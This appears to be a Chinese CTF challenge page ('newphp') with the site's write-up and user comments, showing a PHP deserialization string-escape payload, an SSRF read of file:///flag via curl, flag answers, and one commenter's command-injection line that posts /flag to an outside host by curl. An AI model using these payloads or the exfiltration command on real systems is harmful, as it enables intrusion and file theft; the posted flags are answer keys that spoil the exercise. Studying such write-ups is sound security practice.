列表

详情


newphp

平台   WEB   已通过

题目作者: xluo

一  血: ‌‌‌‌‌lastsward

一血奖励: 3金币

解  决: 893

提  示:

描  述: flag{}

站长题解:

class evil {
	public $hint = 'hint.php';
}
echo serialize(new evil());

O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

class User {
	public $username = "admin";
	public $password = 'O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}';
}
echo serialize(new User());

O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

因为这部分的长度是23,每一个\0\0\0可以逃逸3个字符,所以在传password的时候要多加一个字符,凑够24,同时username传入24个\0。

payload 如下

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

post之后得到一串base64编码 PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo=,解码得到

<?php
$hint = "index.cgi";
// You can't see me~

结合提示,可知是SSRF漏洞,利用伪协议读取flag(注意要截断一下,用空格或%0A)

/index.cgi?name=%0Afile:///flag 

/index.cgi?name= file:///flag

去做题

老渡真的不懂 @ 2023-10-07 23:21:33 👍0

我真的人傻了,为什么'\0\0\0'是六个字符而不是三个?难道没有转义吗?为什么.cgi文件那里要加个空格?有大佬能解释下吗?


buggggg @ 2023-12-07 23:21:33 👍0

因为\和0是分开的两个字符串,没有转义;加一个空格是因为这里发送请求使用的curl,加完空格就能同时请求这两个url


XRain @ 2023-10-07 23:21:33 👍1

file:///flag 可以,我用了另一种方法:?name=123||curl -X POST -F x=@/flag http://x.x.x.x:2333/,在自己的 vps 用 nc 监听,就能接收到发送过来的请求报文,不知道这样也可以,看起来可以执行命令,但好像很多命令都执行失败了。


mykali @ 2023-07-07 23:21:33 👍0

flag{fb59b8a9a71cc0b34ca26905db6c520b}


wxy1343 @ 2023-06-07 23:21:33 👍0

flag{0af3dab81edb60a93d4a173cf3070b25}


jack12138 @ 2023-06-07 23:21:33 👍0

后边的字符逃逸和ssrf我都知道,但是为什么一定要逃逸呢,直接输序列化字符串为啥不行,没有弄清楚,跟read跟write有关是么?read和write那几句话是啥意思,有没有大佬帮忙解答一下呢


ch1n @ 2023-06-07 23:21:33 👍2

第三:要反序列化evil类只能通过字符串逃逸,将序列化好的evil类字符串变成user类的一个新属性(PHP可以反序列化类中不存在的属性)。


ch1n @ 2023-06-07 23:21:33 👍3

第二:反序列化接收的是user类的username和password属性序列化好的字符串,而读hint.php的操作是在evil类中进行的,直接传入序列化好的evil类字符串的话相当于给user类的属性赋值,跟evil类无关,所以不能直接输入evil类序列化好的字符串。


ch1n @ 2023-06-07 23:21:33 👍2

第一:write和read的作用是将传入的"\0\0\0"替换为"chr(0)*chr(0)",由6字符位变为3位,会造成字符串逃逸的隐患。


Archer7 @ 2023-06-07 23:21:33 👍0

index.cgi/?name= file:///flag


lysandria @ 2023-06-07 23:21:33 👍1

挺难的。ssrf的header头可以用空格逃逸。


15338641414 @ 2022-06-07 23:21:33 👍1

?name=%20file:///flag


zhougaoleng @ 2022-06-07 23:21:33 👍2

"User-Agent" 那一栏提示curl,终端中使用curl空格然后加协议。可能后台代码判断开头空格识别是否为协议


lengf @ 2022-06-07 23:21:33 👍0

www,太难了,看着wp我都做了好久,序列化和字符串逃逸,ssrf。。。